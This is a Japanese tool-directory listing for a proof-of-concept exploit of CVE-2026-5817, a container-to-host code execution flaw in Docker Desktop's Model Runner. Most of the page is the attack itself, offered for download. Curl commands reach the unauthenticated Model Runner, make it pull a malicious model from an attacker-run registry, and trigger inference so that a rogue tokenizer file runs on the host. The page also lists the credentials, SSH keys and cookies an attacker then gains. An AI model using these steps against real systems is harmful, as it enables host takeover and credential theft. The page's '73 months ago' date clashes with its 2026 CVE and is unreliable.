Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-5817-PoC — Docker Model Runner container-to-host RCE / Escape: Docker Model Runner の MLX / SGLANG / VLLM 推論バックエンドにおいて、コンテナからホストへのコード実行を可能にする重大な脆弱性。 | Kitploit
ツール/GitHubGitHub/gouldnicholas/cve-2026-5817-poc
コンテナセキュリティペイロード生成脆弱性分析エクスプロイトサプライチェーンセキュリティコンテナエスケープAIセキュリティ
GitHubgouldnicholas/cve-2026-5817-poc

CVE-2026-5817-PoC

Docker Model Runner container-to-host RCE / Escape: Docker Model Runner の MLX / SGLANG / VLLM 推論バックエンドにおいて、コンテナからホストへのコード実行を可能にする重大な脆弱性。

リポジトリを見る
73ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-5817: Docker Model Runner コンテナからホストへのRCE / エスケープ

Docker Desktop (4.40.0〜4.67.x) ホスト上の任意のコンテナは、2つのHTTPリクエストでホスト上でコードを実行できます。ソケットのマウントも --privileged もケーパビリティも不要です。

仕組み

すべてのコンテナは、認証なしで model-runner.docker.internal のModel Runnerに到達できます。Model Runnerは、指定された任意のOCIレジストリからモデルをプルし、ダイジェストを検証せずに保存します。Pythonバックエンド(vLLM、MLX、SGLang)は trust_remote_code=True でモデルをロードします(MLXの場合は、設定入力でtrust remote codeを認識することすらありません)。これにより、モデルが tokenizer_config.json で参照する任意の .py ファイルがインポートされます。その .py はデスクトップユーザーとして実行されます。

攻撃シナリオ

初期状態: 攻撃者はホスト上の任意のコンテナ内でコード実行権限を持っています。敵対的なベースイメージ、開発ワークスペースへの悪意のあるnpm/pipインストール、攻撃者が制御するコードを実行するCIランナーなど。Dockerソケットのマウントも --privileged も追加のケーパビリティもありません。

  1. Model Runnerをプローブする。

    root@kitploit:~
    curl -sf http://model-runner.docker.internal/api/tags
    

    HTTP 200が返れば、Model Runnerが起動しており、このコンテナから到達可能です。認証もOriginヘッダーも不要です。

  2. 悪意のあるOCIレジストリを立ち上げる。 OCI distribution specに対応した任意のHTTPサーバーで動作します。レジストリはホストから到達可能である必要があります(Model Runnerはコンテナ内ではなくホスト上で実行されます)。パブリックインターネット上にホストするか、ローカルで実行してポートを公開します(このPoCでは docker-compose.yml が後者を行います)。tokenizer_config.json に evil_tokenizer.py を指す auto_map を持つ最小限の有効なLlamaモデルを配信します。evil_tokenizer.py がホスト上のペイロードです。rce_registry.py を参照してください。

  3. Model Runnerに自分のレジストリからプルさせる。

    root@kitploit:~
    curl -X POST http://model-runner.docker.internal/api/pull \
         -H 'Content-Type: application/json' \
         -d '{"name": "your.registry/evil/model:latest"}'
    

    Model Runnerはマニフェストをダウンロードし、次にすべてのblobをダウンロードして、ディスク上のストアに書き込みます。ダイジェストの再計算や比較は行われず、署名チェックもありません。これで悪意のあるモデルがインストールされます。

  4. モデルがロードされるように推論をトリガーする。

    root@kitploit:~
    curl -X POST http://model-runner.docker.internal/engines/v1/chat/completions \
         -H 'Content-Type: application/json' \
         -d '{"model":"your.registry/evil/model:latest","messages":[{"role":"user","content":"hi"}]}'
    

ペイロード入力

rce_registry.py:45-105 の行を任意のペイロードに置き換えてください。

要件

  • Docker Desktop >= 4.40.0 かつ < 4.68.0(Model Runnerは4.40.0で同梱され、4.68.0でバグが修正されました)。Model Runnerが有効になっていること
  • Pythonバックエンドがインストールされていること(vllm-metal、vLLM、MLX、SGLang)
  • ホストにPython 3

実行

root@kitploit:~
./run_poc.sh check
./run_poc.sh full
./run_poc.sh test     # static analysis only, no Model Runner needed
./run_poc.sh clean

証明は /tmp/poc_rce_proof に作成されます。

ファイル

  • rce_registry.py - 偽のOCIレジストリ。最小限のLlamaモデルと evil_tokenizer.py を配信します
  • test_claims.py - 各主張をソースコードと実行中のシステムに対して検証します
  • run_poc.sh - ラッパー
  • docker-compose.yml - レジストリ + 非特権の攻撃者コンテナ
  • Dockerfile.registry、Dockerfile.attacker - イメージ

関連CVE

  • CVE-2026-5843 PoC (https://github.com/davidrxchester/CVE-2026-5843)
  • CVE-2026-7669 PoC (https://github.com/gouldnicholas/CVE-2026-7669-PoC)
ツールをダウンロード

Model RunnerはPythonバックエンド(vLLM、MLX、SGLang)を選択し、保存されたモデルを指す --model <bundle_dir> を指定して起動します。バックエンドは AutoTokenizer.from_pretrained(bundle_dir, trust_remote_code=True) を呼び出します。Transformersは tokenizer_config.json を読み取り、auto_map を認識して、バンドルディレクトリから evil_tokenizer.py をインポートします。モジュールレベルのコードはインポート時に実行されます。

  • ペイロードがホスト上で実行される。 Docker Desktopユーザーとして、任意のコンテナの外側で、そのユーザーの完全なファイルシステムとネットワークアクセス権限で実行されます。推論自体は通常失敗します(モデルが小さすぎて実際には実行できない)が、それは問題ではありません。インポートが先に発生するからです。

  • これによって攻撃者が得られるもの。

    • /var/run/docker.sock に到達可能。デーモン制御: 特権コンテナの作成、その1つへのホストファイルシステムのマウント、他のコンテナへのexecなど。
    • ~/.docker/config.json には、ユーザーがログインしているすべてのレジストリの認証情報が含まれます。サプライチェーンへの足掛かり: 悪意のあるイメージを上流にプッシュします。
    • SSHキー、クラウド認証情報、ブラウザCookie、ソースツリーなど、ユーザーが読み取れるすべてのもの。
    • デーモンを介して、ホスト上の他のすべての実行中コンテナ。